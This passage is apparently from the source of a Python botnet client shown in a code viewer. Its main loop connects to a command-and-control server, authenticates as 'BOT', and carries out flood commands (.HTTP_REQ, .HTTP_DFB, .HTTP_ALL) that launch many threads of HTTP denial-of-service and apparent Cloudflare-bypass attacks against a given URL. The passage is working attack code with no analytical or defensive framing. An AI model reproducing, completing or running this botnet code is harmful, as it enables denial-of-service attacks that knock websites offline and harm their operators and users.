()
| 600 | pass |
| 601 | |
| 602 | def main(): |
| 603 | global SOCKS_SENT_DOS,MAKE_CONNECT_DOS |
| 604 | c2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 605 | c2.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) |
| 606 | while 1: |
| 607 | try: |
| 608 | c2.connect((C2_ADDRESS, C2_PORT)) |
| 609 | while 1: |
| 610 | data = c2.recv(65536).decode() |
| 611 | if 'MODE (BotC2,NixC2,MY_SQL)' in data: |
| 612 | time.sleep(1) |
| 613 | c2.send('BotC2'.encode()) |
| 614 | break |
| 615 | while 1: |
| 616 | data = c2.recv(65536).decode() |
| 617 | if 'Username' in data: |
| 618 | c2.send('BOT'.encode()) |
| 619 | break |
| 620 | while 1: |
| 621 | data = c2.recv(65536).decode() |
| 622 | if 'Password' in data: |
| 623 | c2.send('\xff\xff\xff\xff\75'.encode('cp1252')) |
| 624 | break |
| 625 | break |
| 626 | except: |
| 627 | time.sleep(5) |
| 628 | while 1: |
| 629 | try: |
| 630 | data = c2.recv(99999999).decode().strip() |
| 631 | if not data: |
| 632 | break |
| 633 | args = data.split(' ') |
| 634 | command = args[0].upper() |
| 635 | if command == ".HTTP_REQ": |
| 636 | url = args[1] |
| 637 | method = args[2] |
| 638 | secs = time.time() + int(args[3]) |
| 639 | threads = int(args[4]) |
| 640 | for _ in range(threads): |
| 641 | threading.Thread(target=REQ_attack, args=(url,method, secs), daemon=True).start() |
| 642 | elif command == ".HTTP_DFB": |
| 643 | url = args[1] |
| 644 | secs = time.time() + int(args[2]) |
| 645 | threads = int(args[3]) |
| 646 | for _ in range(threads): |
| 647 | threading.Thread(target=REQ_attack_ddos, args=(url, secs), daemon=True).start() |
| 648 | elif command == ".HTTP_ALL": |
| 649 | url = args[1] |
| 650 | method = args[2] |
| 651 | secs = time.time() + int(args[3]) |
| 652 | threads = int(args[4]) |
| 653 | for _ in range(threads): |
| 654 | threading.Thread(target=REQ_attack, args=(url,method, secs), daemon=True).start() |
| 655 | threading.Thread(target=REQ_attack_ddos, args=(url, secs), daemon=True).start() |
| 656 | threading.Thread(target=CFB, args=(url,method, secs), daemon=True).start() |
| 657 | threading.Thread(target=CFB, args=(url,method, secs), daemon=True).start() |
| 658 | threading.Thread(target=CFB, args=(url,method, secs), daemon=True).start() |
| 659 | threading.Thread(target=CFB, args=(url,method, secs), daemon=True).start() |
no test coverage detected